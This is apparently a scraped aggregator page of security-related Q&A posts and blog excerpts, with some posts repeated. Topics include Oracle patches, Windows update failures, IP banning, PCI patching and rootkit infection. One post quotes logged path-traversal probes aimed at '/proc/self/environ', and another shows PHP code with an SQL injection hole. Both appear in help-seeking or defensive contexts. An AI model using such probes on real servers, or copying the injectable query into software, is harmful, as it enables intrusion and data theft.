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  • Stopping users posting more than once

    - by user342391
    Before posting my form I am checking the database to see if there are any previous posts from the user. If there are previous posts then the script will kick back a message saying you have already posted. The problem is that what I am trying to achieve isn't working it all goes wrong after my else statement. It is also probable that there is an sql injection vulnerability too. Can you help??4 <?php include '../login/dbc.php'; page_protect(); $customerid = $_SESSION['user_id']; $checkid = "SELECT customerid FROM content WHERE customerid = $customerid"; if ($checkid = $customerid) {echo 'You cannot post any more entries, you have already created one';} else $sql="INSERT INTO content (customerid, weburl, title, description) VALUES ('$_POST[customerid]','$_POST[webaddress]','$_POST[pagetitle]','$_POST[pagedescription]')"; if (!mysql_query($sql)) { die('Error: ' . mysql_error()); } echo "1 record added"; ?>

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  • April 2010 Critical Patch Update Released

    - by eric.maurice
    Hi, this is Eric Maurice. Today Oracle released the April 2010 Critical Patch Update (CPUApr2010),the first one to include security fixes for Oracle Solaris. Today's Critical Patch Update (CPU) provides 47 new security fixes across the following product families: Oracle Database Server, Oracle Fusion Middleware, Oracle Collaboration Suite, Oracle E-Business Suite, Oracle PeopleSoft Enterprise, Oracle Life Sciences, Retail, and Communications Industry Suites, and Oracle Solaris. 28 of these 47 new vulnerabilities are remotely exploitable without authentication, but the criticality of the affected components and the severity of these vulnerabilities vary greatly. Customers should, as usual, refer to the Risk Matrices in the CPU Advisory to assess the relevance of these fixes for their environment (and the urgency with which to apply the fixes). 7 of the 47 new vulnerabilities affect various versions of Oracle Database Server. None of these 7 vulnerabilities are remotely exploitable without authentication. Furthermore, none of these fixes are applicable to client-only deployments. The most severe CVSS Base Score for the Database Server vulnerabilities is 7.1. As a reminder, information about Oracle's use of the CVSS 2.0 standard can be found in Note 394487.1 (My Oracle Support subscription required). Note that this Critical Patch Update includes fixes for vulnerabilities that were publicly disclosed by David Litchfield at the BlackHat DC Conference in early February (CVE-2010-0866 and CVE-2010-0867). 5 of the 47 new vulnerabilities affect various components of the Oracle Fusion Middleware product family. The highest CVSS Base Score for these vulnerabilities is 7.5. Note that the patches for Oracle WebLogic Server are cumulative and this Critical Patch Update therefore also includes a fix for a vulnerability (CVE-2010-0073) that was the subject of a Security Alert issued by Oracle on February 4, 2010. Customers, who have not applied the previously-released patch, should apply today's Critical Patch Update as soon as possible. As stated at the beginning of this blog, it is also noteworthy to highlight that this Critical Patch Update provides 16 new fixes for the Sun product line. With the recent close of the Sun acquisition both security organizations have worked diligently to align Sun's previous security practices with Oracle's. Java users know that Oracle released a Critical Patch Update for Java SE and Java For Business earlier this month (in accordance with the Java patching schedule previously published by Sun Microsystems). Please note that for the first time, the Java advisories included CVSS Scores to help assess the severity of the new vulnerabilities fixed with the advisory. The rapid inclusion of the Solaris product lines in the Critical Patch Update and the extension of Oracle Software Security Assurance to Sun technologies are evidence of the flexibility of Oracle's security assurance programs. These should also result in tangible security benefits for the users of the Oracle hardware and software stack (such as a predictable patching schedule for all Oracle products).

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  • How I might think like a hacker so that I can anticipate security vulnerabilities in .NET or Java before a hacker hands me my hat [closed]

    - by Matthew Patrick Cashatt
    Premise I make a living developing web-based applications for all form-factors (mobile, tablet, laptop, etc). I make heavy use of SOA, and send and receive most data as JSON objects. Although most of my work is completed on the .NET or Java stacks, I am also recently delving into Node.js. This new stack has got me thinking that I know reasonably well how to secure applications using known facilities of .NET and Java, but I am woefully ignorant when it comes to best practices or, more importantly, the driving motivation behind the best practices. You see, as I gain more prominent clientele, I need to be able to assure them that their applications are secure and, in order to do that, I feel that I should learn to think like a malevolent hacker. What motivates a malevolent hacker: What is their prime mover? What is it that they are most after? Ultimately, the answer is money or notoriety I am sure, but I think it would be good to understand the nuanced motivators that lead to those ends: credit card numbers, damning information, corporate espionage, shutting down a highly visible site, etc. As an extension of question #1--but more specific--what are the things most likely to be seeked out by a hacker in almost any application? Passwords? Financial info? Profile data that will gain them access to other applications a user has joined? Let me be clear here. This is not judgement for or against the aforementioned motivations because that is not the goal of this post. I simply want to know what motivates a hacker regardless of our individual judgement. What are some heuristics followed to accomplish hacker goals? Ultimately specific processes would be great to know; however, in order to think like a hacker, I would really value your comments on the broader heuristics followed. For example: "A hacker always looks first for the low-hanging fruit such as http spoofing" or "In the absence of a CAPTCHA or other deterrent, a hacker will likely run a cracking script against a login prompt and then go from there." Possibly, "A hacker will try and attack a site via Foo (browser) first as it is known for Bar vulnerability. What are the most common hacks employed when following the common heuristics? Specifics here. Http spoofing, password cracking, SQL injection, etc. Disclaimer I am not a hacker, nor am I judging hackers (Heck--I even respect their ingenuity). I simply want to learn how I might think like a hacker so that I may begin to anticipate vulnerabilities before .NET or Java hands me a way to defend against them after the fact.

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  • Help writing server script to ban IP's from a list

    - by Chev_603
    I have a VPS that I use as an openvpn and web server. For some reason, my apache log files are filled with thousands of these hack attempts: "POST /xmlrpc.php HTTP/1.0" 404 395 These attack attempts fill up 90% of my logs. I think it's a WordPress vulnerability they're looking for. Obviously they are not successful (I don't even have Wordpress on my server), but it's annoying and probably resource consuming as well. I am trying to write a bash script that will do the following: Search the apache logs and grab the offending IP's (even if they try it once), Sort them into a list with each unique IP on a seperate line, And then block them using the IP table rules. I am a bash newb, and so far my script does everything except Step 3. I can manually block the IP's, but that's tedious and besides, this is Linux and it's perfectly capable of doing it for me. I also want the script to be customizable so that I (or anyone else who wants to use it) can change the variables to suit whatever situation I/they may deal with in the future. Here is the script so far: #!/bin/bash ##IP LIST GENERATOR ##Author Chev Young ##Script to search Apache logs and list IP's based on custom filters ## ##Define our variables: DIRECT=~/Script ##Location of script&where to put results/temp files LOGFILE=/var/log/apache2/access.log ## Logfile to search for offenders TEMPLIST=xml_temp ## Temporary file name IP_LIST=ipstoban ## Name of results file FILTER1=xmlrpc ## What are we looking for? (Requests we want to ban) cd $DIRECT if [ ! -f $TEMPLIST ];then touch $TEMPLIST ##Create temp file fi cat $LOGFILE | grep $FILTER1 >> $DIRECT/$TEMPLIST ## Only interested in the IP's, so: sed -e 's/\([0-9]\+\.[0-9]\+\.[0-9]\+\.[0-9]\+\).*$/\1/' -e t -e d $DIRECT/$TEMPLIST | sort | uniq > $DIRECT/$IP_LIST rm $TEMPLIST ## Clean temp file echo "Done. Results located at $DIRECT/$IP_LIST" So I need help with the next part of the script, which should ban the IP's (incoming and perhaps outgoing too) from the resulting $IP_LIST file. I don't care if it utilizes UFW or IPTables directly, as long as it bans the IP's. I'd probably run it as a cron task. What I'm having trouble with is understanding how to use line of the result file as a seperate variable to do something like: ufw deny $IP1 $IP2 $IP3, ect Any ideas? Thanks.

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  • How to disable windows server 2008 timestamp response

    - by Cal
    Posted this question on stackoverflow but then got instructed to post it here: I was using Rapid7's Nexpose to scan one of our web servers (windows server 2008), and got a vulnerability for timestamp response. According to Rapid7, timestamp response shall be disabled: http://www.rapid7.com/db/vulnerabilities/generic-tcp-timestamp So far I have tried several things: Edit the registry, add a "Tcp1323Opts" key to HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters, and set it to 0. http://technet.microsoft.com/en-us/library/cc938205.aspx Use this command: netsh int tcp set global timestamps=disabled Tried powershell command: Set-netTCPsetting -SettingName InternetCustom -Timestamps disabled (got error: Set-netTCPsetting : The term 'Set-netTCPsetting' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.) None of above attempts was successful, after re-scan we still got the same alert. Rapid7 suggested using a firewall that's capable of blocking it, but we want to know if there is a setting on windows to achieve it. Is it through a specific port? If yes, what is the port number? If not, could you suggest a 3rd party firewall that is capable of blocking it? Thank you very much.

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  • Why are my Windows 7 updates continuously failing?

    - by Chris C.
    I'm an advanced level user here with an odd issue. I have two Windows Updates that are failing to install, every single time. I'm getting a mysterious "Code 1" error on both updates, an error for which I'm having difficulty finding a solution. The updates in question are: Security Update for Microsoft Visual C++ 2008 Service Pack 1 Redistributable Package (KB2538243) System Update Readiness Tool for Windows 7 for x64-based Systems (KB947821) [May 2011] Because these updates are failing, the Shut Down button in my start menu always has the shield icon next to it, indicating that "new" updates will be installed on shut down. But, of course, they'll fail and when the PC is restarted, the shield icon is still there. When checking the update history and viewing the details of the failed updates, I get the following: Security Update for Microsoft Visual C++ 2008 Service Pack 1 Redistributable Package (KB2538243) Installation date: ?6/?29/?2011 3:00 AM Installation status: Failed Error details: Code 1 Update type: Important A security issue has been identified leading to MFC application vulnerability in DLL planting due to MFC not specifying the full path to system/localization DLLs. You can protect your computer by installing this update from Microsoft. After you install this item, you may have to restart your computer. More information: http://go.microsoft.com/fwlink/?LinkId=216803 System Update Readiness Tool for Windows 7 for x64-based Systems (KB947821) [May 2011] Installation date: ?6/?28/?2011 3:00 AM Installation status: Failed Error details: Code 1 Update type: Important This tool is being offered because an inconsistency was found in the Windows servicing store which may prevent the successful installation of future updates, service packs, and software. This tool checks your computer for such inconsistencies and tries to resolve issues if found. More information: http://support.microsoft.com/kb/947821 About My System I'm running Windows 7 Home Premium x64 Edition. This is a custom PC build and the OS was installed fresh, not an upgrade from a previous version. I've been running this system for about 4 months. Windows Updates aside, the system is usually quite stable. Thanks in advance for your help!

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  • Router slowing my connection?

    - by Roberto
    I have a Linksys WRT54G and I pay for a 12Mbps connection. I've been testing my connection using speedtest.net for many days and always get 8Mbps. I called the support and they told me to bypass the router and test. I did it and got 16Mbps (much more than I pay for), so I thought "this guy just changed my speed so can he blame my router", and he blamed it. But to my surprise, everytime I bypass the router I get 16Mbps and when I use the router I get 8Mbps. Is this guy trolling me somehow (configuring the VOIP-modem-stuff to different profiles depending o the MAC address connecting to it) or is my router a POS? How can I find out? I don't know what's the thing the router connects to, it's a kind of VOIP adapter; the link is this one, but unfortunately I don't think you'll understand because it's in Portuguese. I know they can remotely connect to it, that's the origin of my conspiracy theory :) I just tested wired to the router and got 10Mbps (and still 8Mbps on wifi and 16Mbps without router) O_o I'm 5cm away from my router, so no obstacles to interfere, right? ------ UPDATE ------- It's a WRT54G V8, I'm using firmware v8.00.7 (will install 8.00.8 tomorrow, but I saw that it's only a minor fix to UPnP denial of service security vulnerability). Results: IPerf LAN-LAN: 80Mbps IPerf LAN-WLAN: 19Mbps (therefore we can ignore wireless issues/settings) I wasn't able to make the (W)LAN-WAN NAT-enabled test with IPerf, I get a connection refused error. I'm not sure if did it right: ran in server mode, configured router to forward that port to my IP and tried to connect to my internet IP that got from this site. I don't think there is a way to disable NAT using this firmware. Question: Let's suppose it's an underpowered hardware issue. Is it right to assume that custom firmwares could resolve the issue because they are possibly better implemented and would make better use of the router resources? I couldn't find any references pointing to wired performance improvements with the use of custom firmware.

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  • Automatically check for Security Updates on CentOS or Scientific Linux?

    - by Stefan Lasiewski
    We have machines running RedHat-based distros such as CentOS or Scientific Linux. We want the systems to automatically notify us if there are any known vulnerabilities to the installed packages. FreeBSD does this with the ports-mgmt/portaudit port. RedHat provides yum-plugin-security, which can check for vulnerabilities by their Bugzilla ID, CVE ID or advisory ID. In addition, Fedora recently started to support yum-plugin-security. I believe this was added in Fedora 16. Scientific Linux 6 did not support yum-plugin-security as of late 2011. It does ship with /etc/cron.daily/yum-autoupdate, which updates RPMs daily. I don't think this handles Security Updates only, however. CentOS does not support yum-plugin-security. I monitor the CentOS and Scientific Linux mailinglists for updates, but this is tedious and I want something which can be automated. For those of us who maintain CentOS and SL systems, are there any tools which can: Automatically (Progamatically, via cron) inform us if there are known vulnerabilities with my current RPMs. Optionally, automatically install the minimum upgrade required to address a security vulnerability, which would probably be yum update-minimal --security on the commandline? I have considered using yum-plugin-changelog to print out the changelog for each package, and then parse the output for certain strings. Are there any tools which do this already?

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  • A possible case of hacked email account. What kind of an attack is this?

    - by Rickesh John
    I own a Yahoo mail account. I am using this account for sending resumes and receive notifications from various job portals. But yesterday, I found that some 10-15 mails had been sent to random addresses from my account. Most of them had this format: hr@<companyname>.com I am pretty sure that I didn't send any mails to such addresses. Initially, I thought the job portals may be sending mails on my behalf and Yahoo is logging them, but then I saw the contents. The contents of all those mails were a URL, which I did not click. SCARED. Also, to top it off, my "Sending Name" has been changed to 'Nice Maria'!! o_0 I have taken the necessary measures and changed my password and the secret question. I cannot delete this account as this email is registered with all the job portals and other companies. Is this a simple case of my account being compromised or was I a victim of some web vulnerability? All the mails seem to be bot generated, with only a URL as the message body. Please advice.

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  • How (in)secure are cell phones in reality?

    - by Aron Rotteveel
    I was recently re-reading an old Wired article about the Kaminsky DNS Vulnerability and the story behind it. In this article there was a quote that came across a little bit exaggerated to me: "The first thing I want to say to you," Vixie told Kaminsky, trying to contain the flood of feeling, "is never, ever repeat what you just told me over a cell phone." Vixie knew how easy it was to eavesdrop on a cell signal, and he had heard enough to know that he was facing a problem of global significance. If the information were intercepted by the wrong people, the wired world could be held ransom. Hackers could wreak havoc. Billions of dollars were at stake, and Vixie wasn't going to take any risks. When reading this I could not help but feel like it was a bit blown-up and theatrical. Now, I know absolutely nothing about cell phones and the security problems involved, but to my understanding, cell phone security has quite improved over the past few years. So my question is: how insecure are cell phones in reality? Are there any good articles that dig a bit deeper into this matter?

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  • How can visiting a webpage infect your computer?

    - by Cybis
    My mother's computer recently became infected with some sort of rootkit. It began when she received an email from a close friend asking her to check out some sort of webpage. I never saw it, but my mother said it was just a blog of some sort, nothing interesting. A few days later, my mother signed in on the PayPal homepage. PayPal gave some sort of security notice which stated that to prevent fraud, they needed some additional personal information. Among some of the more normal information (name, address, etc.), they asked for her SSN and bank PIN! She refused to submit that information and complained to PayPal that they shouldn't ask for it. PayPal said they would never ask for such information and that it wasn't their webpage. There was no such "security notice" when she logged in from a different computer, only from hers. It wasn't a phishing attempt or redirection of some sort, IE clearly showed an SSL connection to https://www.paypal.com/ She remembered that strange email and asked her friend about it - the friend never sent it! Obviously, something on her computer was intercepting the PayPal homepage and that email was the only other strange thing to happen recently. She entrusted me to fix everything. I nuked the computer from orbit since it was the only way to be sure (i.e., reformatted her hard drive and did a clean install). That seemed to work fine. But that got me wondering... my mother didn't download and run anything. There were no weird ActiveX controls running (she's not computer illiterate and knows not to install them), and she only uses webmail (i.e., no Outlook vulnerability). When I think webpages, I think content presentation - JavaScript, HTML, and maybe some Flash. How could that possibly install and execute arbitrary software on your computer? It seems kinda weird/stupid that such vulnerabilities exist.

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  • WSUS KB978338 Chain of Supersession Incorrect?

    - by Kasius
    The chain appears to be KB978338 to KB978886 to KB2563894 to KB2588516 (newest). All four of these updates are approved on our WSUS server. KB978338 is listing as Not Applicable on all machines, because it has been superseded. This is the behavior I would expect. However, our security office is reporting that KB978338 should still be installed on all machines because its actual effect is not replicated by any of the updates that follow it. Here is the analysis I was sent: KB978886 applies to Vista SP1 only. The rollout of SP2 did not address the ISATAP vulnerability and reintroduces it. KB2563894 only updates two files (Tcpip.sys and Tcpipreg.sys). It does not update the 12 other affected ISATAP, UDP, and NUD .sys and .dll files. (MS11-064) KB2588516 addresses malformed continuous UDP packet overflow. But does not address the ISATAP related NUD and TCP .sys and .dll files. (MS11-083) So yes, many IP vulnerabilities. But each KB addresses specific issues that do not cross over to other KBs. We can install KB978338 by manually running the .MSU file, but we aren't certain if that will overwrite the couple files that get updated by later patches since we would be installing the patch out of order. Is the above analysis correct? Is the chain of supersession incorrectly defined? If it is, what is the proper way to report it so that it can be changed by the correct Microsoft team? We are currently using 32-bit and 64-bit installations of Vista SP2. Note: I should mention that I posted this on Technet as well. I will keep this up-to-date with any information I get on there.

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  • Legalities of freelance security consultant (SQLi) [closed]

    - by Seidr
    Over the years I've gained a large amount of experience in Programming (my main occupation) and server admin, and as a result have a fairly decent backing in security practices. I'm also pretty good at spotting security flaws in software (including but not limited to SQLi), and have built up a list of sites that could definately use some looking at. My question is, what are the legalities of me contacting these sites saying something along the lines of "I've looked at your site and it appears vulnerable - customer data could be compromoised - would you like me to fix it?". Could me finding out that the site is infact vulnerable be construed as an attack itself? If the prospective client so wished, could they take me to court over this? When I find a vulnerable site, all I do is confirm and make a note of the vulnerability. I'm not in it for personal gain (getting paid for FIXING it would be nice!), just curiosity. Is this a viable way to go about finding clients for this kind of work, or would you recommend a more 'legitimate' way? Any suggestions/advice would be greatly appreciated :)

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  • Apache Probes -- what are they after?

    - by Chris_K
    The past few weeks I've been seeing more and more of these probes each day. I'd like to figure out what vulnerability they're looking for but haven't been able to turn anything up with a web search. Here's a sample of what I get in my morning Logwatch emails: A total of XX possible successful probes were detected (the following URLs contain strings that match one or more of a listing of strings that indicate a possible exploit): /MyBlog/?option=com_myblog&Itemid=12&task=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP Response 200 /index2.php?option=com_myblog&item=12&task=../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP Response 200 /?option=com_myblog&Itemid=12&task=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP Response 301 /index2.php?option=com_myblog&item=12&task=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP Response 200 //index2.php?option=com_myblog&Itemid=1&task=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP Response 200 This is coming from a current CentOS 5.4 / Apache 2 box with all updates. I've manually tried entering a few in to see what they get, but those all appear to just return the site's home page. This server is just hosting a few Joomla! sites... but this doesn't seem to be targeting Joomla (as far as I can tell). Anyone know what they're probing for? I just want to make sure whatever it is I've got it covered (or not installed). The escalation of these entries has me a bit concerned.

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  • Patch management on multiple systems

    - by Pierre
    I'm in charge of auditing the security configuration of an important farm of Unix servers. So far, I came up with a way to assess the basic configuration but not the installed updates. The very problem here is that I just can't trust the package management tools on those machine. Indeed some of them did not sync with the repository for a long time (So I can't do a "yum check-updates" on Redhat for example). Some of those servers are not even connected to the internet and use an company repository. Another problem is that I have multiple target systems: AIX, Debian, Centos/Redhat, etc... So the version could be different (AIX) and the tools available will be different. And, last but not least, I can't install anything on the target system. So I need to use a script to retrieve the information and either: process it directly or save the information to be able to process it later on a server (Which may happen to run a different distribution than the one on which the information have been retrieved). The best ideas I could come up with were: either retrieve the list of installed packages on the machine (dpkg -l for example on debian) and process it on a dedicated server (Directly parsing the "Packages" file of debian repositories). Still, the problem remains the same for AIX and Redhat... or use Nessus' scripts to assess vulnerability on the installed packages, but I find this a bit dirty. Does anyone know any better/efficient way of doing this ? P.S: I already took time to review some answers to similar problems. Unfortunately Chef, puppet, ... don't meet the requirements I have to meet. Edit: Long story short. I need to have the list of missing updates on a Unix system just like MBSA on Windows. I'm not authorized to install anything on this system as it's not mine. All I have are scripts languages. Thanks.

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  • Hide/Replace Nginx Location Header?

    - by Steven Ou
    I am trying to pass a PCI compliance test, and I'm getting a single "high risk vulnerability". The problem is described as: Information on the machine which a web server is located is sometimes included in the header of a web page. Under certain circumstances that information may include local information from behind a firewall or proxy server such as the local IP address. It looks like Nginx is responding with: Service: https Received: HTTP/1.1 302 Found Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Location: http://ip-10-194-73-254/ Server: nginx/1.0.4 + Phusion Passenger 3.0.7 (mod_rails/mod_rack) Status: 302 X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 3.0.7 X-Runtime: 0 Content-Length: 90 Connection: Close <html><body>You are being <a href="http://ip-10-194-73-254/">redirect ed</a>.</body></html> I'm no expert, so please correct me if I'm wrong: but from what I gathered, I think the problem is that the Location header is returning http://ip-10-194-73-254/, which is a private address, when it should be returning our domain name (which is ravn.com). So, I'm guessing I need to either hide or replace the Location header somehow? I'm a programmer and not a server admin so I have no idea what to do... Any help would be greatly appreciated! Also, might I add that we're running more than 1 server, so the configuration would need to be transferable to any server with any private address.

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  • How can visiting a webpage infect your computer?

    - by Cybis
    My mother's computer recently became infected with some sort of rootkit. It began when she received an email from a close friend asking her to check out some sort of webpage. I never saw it, but my mother said it was just a blog of some sort, nothing interesting. A few days later, my mother signed in on the PayPal homepage. PayPal gave some sort of security notice which stated that to prevent fraud, they needed some additional personal information. Among some of the more normal information (name, address, etc.), they asked for her SSN and bank PIN! She refused to submit that information and complained to PayPal that they shouldn't ask for it. PayPal said they would never ask for such information and that it wasn't their webpage. There was no such "security notice" when she logged in from a different computer, only from hers. It wasn't a phishing attempt or redirection of some sort, IE clearly showed an SSL connection to https://www.paypal.com/ She remembered that strange email and asked her friend about it - the friend never sent it! Obviously, something on her computer was intercepting the PayPal homepage and that email was the only other strange thing to happen recently. She entrusted me to fix everything. I nuked the computer from orbit since it was the only way to be sure (i.e., reformatted her hard drive and did a clean install). That seemed to work fine. But that got me wondering... my mother didn't download and run anything. There were no weird ActiveX controls running (she's not computer illiterate and knows not to install them), and she only uses webmail (i.e., no Outlook vulnerability). When I think webpages, I think content presentation - JavaScript, HTML, and maybe some Flash. How could that possibly install and execute arbitrary software on your computer? It seems kinda weird/stupid that such vulnerabilities exist.

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  • Why are my Windows 7 updates continuously failing?

    - by Chris C.
    I'm an advanced level user here with an odd issue. I have two Windows Updates that are failing to install, every single time. I'm getting a mysterious "Code 1" error on both updates, an error for which I'm having difficulty finding a solution. The updates in question are: Security Update for Microsoft Visual C++ 2008 Service Pack 1 Redistributable Package (KB2538243) System Update Readiness Tool for Windows 7 for x64-based Systems (KB947821) [May 2011] Because these updates are failing, the Shut Down button in my start menu always has the shield icon next to it, indicating that "new" updates will be installed on shut down. But, of course, they'll fail and when the PC is restarted, the shield icon is still there. When checking the update history and viewing the details of the failed updates, I get the following: Security Update for Microsoft Visual C++ 2008 Service Pack 1 Redistributable Package (KB2538243) Installation date: ?6/?29/?2011 3:00 AM Installation status: Failed Error details: Code 1 Update type: Important A security issue has been identified leading to MFC application vulnerability in DLL planting due to MFC not specifying the full path to system/localization DLLs. You can protect your computer by installing this update from Microsoft. After you install this item, you may have to restart your computer. More information: http://go.microsoft.com/fwlink/?LinkId=216803 and: System Update Readiness Tool for Windows 7 for x64-based Systems (KB947821) [May 2011] Installation date: ?6/?28/?2011 3:00 AM Installation status: Failed Error details: Code 1 Update type: Important This tool is being offered because an inconsistency was found in the Windows servicing store which may prevent the successful installation of future updates, service packs, and software. This tool checks your computer for such inconsistencies and tries to resolve issues if found. More information: http://support.microsoft.com/kb/947821 About My System I'm running Windows 7 Home Premium 64-bit. This is a custom PC build and the OS was installed fresh, not an upgrade from a previous version. I've been running this system for about four months. Windows Updates aside, the system is usually quite stable.

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  • Euro character messed up during FTP transfer

    - by djechelon
    My customer is using a very outdated ecommerce management system on my hosting service. For that product, no support is being provided anymore by the vendor. Brief explanation: the shop website, that claims to run under LAMP stack, is built by an old Visual Basic Windows application running on MS Access. The user constructs the shop, defines the HTML template, adds products and categories, etc. Then the VB exe builds the PHP pages (one for each template page) and the SQL script to run on MySQL. It also uploads everything via FTP and runs the installation/upgrade script on its own. The problem Browsing the website, many products' descriptions are cut before the euro sign. For example, what was supposed to be "Product price €1000" becomes "Product price" The analysis MySQL contains a cutted description until the € sign, so it's not PHP fault The Access databases contain full description with € sign, so it's not fault of the webmaster writing bad description or eDisplay cutting them The SQL that will run once the site gets uploaded, stored on my local machine before upload, contains the € sign The same script, after being FTPed by eDisplay and opened with nano from SSH, shows the € sign messed up like this: ^À vsftpd log reports (obfuscated for privacy) Sat Dec 15 11:16:57 2012 22 xxx.xxx.128.13 1112727 /srv/www/domains/xxxxxx.it/htdocs/db.sql b _ i r xxxxxxx ftp 0 * c which seems to be a binary transfer (and also a huge security vulnerability because you can download the whole database from unauthenticated HTTP) The eDisplay internal FTP client provides no option for ascii/binary transfer modes [Add] Trying to manually upload the SQL file via SFTP shows messing up euro [Add2] Trying to manually upload using Xftp client with explicit ASCII mode doesn't fix too It looks like the file gets uploaded as binary. Perhaps on the customer's previous host it all worked fine because that was a Windows host. The server It's an Azure virtual machine running openSUSE 12.2 with both vsftpd and openSSH The question Without asking the customer to manually upload files using FileZilla or replacing € with &euro;, because he refuses, what can I do on server side to prevent vsftpd to screw up euro sign?

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  • How do I fully share a Hard Drive on my Local Network?

    - by GingerLee
    I have 4 computers connected to a router (DD-WRT) My main PC is Windows 7 (Home Premium). This machine has 2 Hard Disks: HD1 is used for my OS and the other (HD2) is used to store files. My 3 other machines are 1. Ubuntu Destop that I use to learn about linux, 2. A Mac OSX laptop, and 3. A netbook running windows 7. How do I easily share HD2 with my other machines? I would like all my machines to have full access & permissions to HD2 however I would like to RESTRICT access to only PCs that are connected to my router (either via LAN and WiFi) --- btw, I know this is not very secure due to WiFi vulnerability , however, I currently MAC address restrict WiFi connections my router. Extra Info: I have already tried to use the Windows Folder Sharing feature: i.e. I right click over the icon of HD2, and click on the Sharing Tab, but in sub-window labeled "Network File and Folder Sharing", the "Share" button is grayed out. I can click on "Advanced Shared" but that just takes me to a screen in which I have to set certain permissions. What is not clear to me is: How do I set a criteria that shares HD2 with all computer connected to my router?

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  • Patching and PCI Compliance

    - by Joel Weise
    One of my friends and master of the security universe, Darren Moffat, pointed me to Dan Anderson's blog the other day.  Dan went to Toorcon which is a security conference where he went to a talk on security patching titled, "Stop Patching, for Stronger PCI Compliance".  I realize that often times speakers will use a headline grabbing title to create interest in their talk and this one certainly got my attention.  I did not go to the conference and did not see the presentation, so I can only go by what is in the Toorcon agenda summary and on Dan's blog, but the general statement to stop patching for stronger PCI compliance seems a bit misleading to me.  Clearly patching is important to all systems management and should be a part of any organization's security hygiene.  Further, PCI does require the patching of systems to maintain compliance.  So it's important to mention that organizations should not simply stop patching their systems; and I want to believe that was not the speakers intent. So let's look at PCI requirement 6: "Unscrupulous individuals use security vulnerabilities to gain privileged access to systems. Many of these vulnerabilities are fixed by vendor- provided security patches, which must be installed by the entities that manage the systems. All critical systems must have the most recently released, appropriate software patches to protect against exploitation and compromise of cardholder data by malicious individuals and malicious software." Notice the word "appropriate" in the requirement.  This is stated to give organizations some latitude and apply patches that make sense in their environment and that target the vulnerabilities in question.  Haven't we all seen a vulnerability scanner throw a false positive and flag some module and point to a recommended patch, only to realize that the module doesn't exist on our system?  Applying such a patch would obviously not be appropriate.  This does not mean an organization can ignore the fact they need to apply security patches.  It's pretty clear they must.  Of course, organizations have other options in terms of compliance when it comes to patching.  For example, they could remove a system from scope and make sure that system does not process or contain cardholder data.  [This may or may not be a significant undertaking.  I just wanted to point out that there are always options available.] PCI DSS requirement 6.1 also includes the following note: "Note: An organization may consider applying a risk-based approach to prioritize their patch installations. For example, by prioritizing critical infrastructure (for example, public-facing devices and systems, databases) higher than less-critical internal devices, to ensure high-priority systems and devices are addressed within one month, and addressing less critical devices and systems within three months." Notice there is no mention to stop patching one's systems.  And the note also states organization may apply a risk based approach. [A smart approach but also not mandated].  Such a risk based approach is not intended to remove the requirement to patch one's systems.  It is meant, as stated, to allow one to prioritize their patch installations.   So what does this mean to an organization that must comply with PCI DSS and maintain some sanity around their patch management and overall operational readiness?  I for one like to think that most organizations take a common sense and balanced approach to their business and security posture.  If patching is becoming an unbearable task, review why that is the case and possibly look for means to improve operational efficiencies; but also recognize that security is important to maintaining the availability and integrity of one's systems.  Likewise, whether we like it or not, the cyber-world we live in is getting more complex and threatening - and I dont think it's going to get better any time soon.

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  • Managing Operational Risk of Financial Services Processes – part 1/ 2

    - by Sanjeevio
    Financial institutions view compliance as a regulatory burden that incurs a high initial capital outlay and recurring costs. By its very nature regulation takes a prescriptive, common-for-all, approach to managing financial and non-financial risk. Needless to say, no longer does mere compliance with regulation will lead to sustainable differentiation.  Genuine competitive advantage will stem from being able to cope with innovation demands of the present economic environment while meeting compliance goals with regulatory mandates in a faster and cost-efficient manner. Let’s first take a look at the key factors that are limiting the pursuit of the above goal. Regulatory requirements are growing, driven in-part by revisions to existing mandates in line with cross-border, pan-geographic, nature of financial value chains today and more so by frequent systemic failures that have destabilized the financial markets and the global economy over the last decade.  In addition to the increase in regulation, financial institutions are faced with pressures of regulatory overlap and regulatory conflict. Regulatory overlap arises primarily from two things: firstly, due to the blurring of boundaries between lines-of-businesses with complex organizational structures and secondly, due to varying requirements of jurisdictional directives across geographic boundaries e.g. a securities firm with operations in US and EU would be subject different requirements of “Know-Your-Customer” (KYC) as per the PATRIOT ACT in US and MiFiD in EU. Another consequence and concomitance of regulatory change is regulatory conflict, which again, arises primarily from two things: firstly, due to diametrically opposite priorities of line-of-business and secondly, due to tension that regulatory requirements create between shareholders interests of tighter due-diligence and customer concerns of privacy. For instance, Customer Due Diligence (CDD) as per KYC requires eliciting detailed information from customers to prevent illegal activities such as money-laundering, terrorist financing or identity theft. While new customers are still more likely to comply with such stringent background checks at time of account opening, existing customers baulk at such practices as a breach of trust and privacy. As mentioned earlier regulatory compliance addresses both financial and non-financial risks. Operational risk is a non-financial risk that stems from business execution and spans people, processes, systems and information. Operational risk arising from financial processes in particular transcends other sources of such risk. Let’s look at the factors underpinning the operational risk of financial processes. The rapid pace of innovation and geographic expansion of financial institutions has resulted in proliferation and ad-hoc evolution of back-office, mid-office and front-office processes. This has had two serious implications on increasing the operational risk of financial processes: ·         Inconsistency of processes across lines-of-business, customer channels and product/service offerings. This makes it harder for the risk function to enforce a standardized risk methodology and in turn breaches harder to detect. ·         The proliferation of processes coupled with increasingly frequent change-cycles has resulted in accidental breaches and increased vulnerability to regulatory inadequacies. In summary, regulatory growth (including overlap and conflict) coupled with process proliferation and inconsistency is driving process compliance complexity In my next post I will address the implications of this process complexity on financial institutions and outline the role of BPM in lowering specific aspects of operational risk of financial processes.

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  • Oracle MAA Part 1: When One Size Does Not Fit All

    - by JoeMeeks
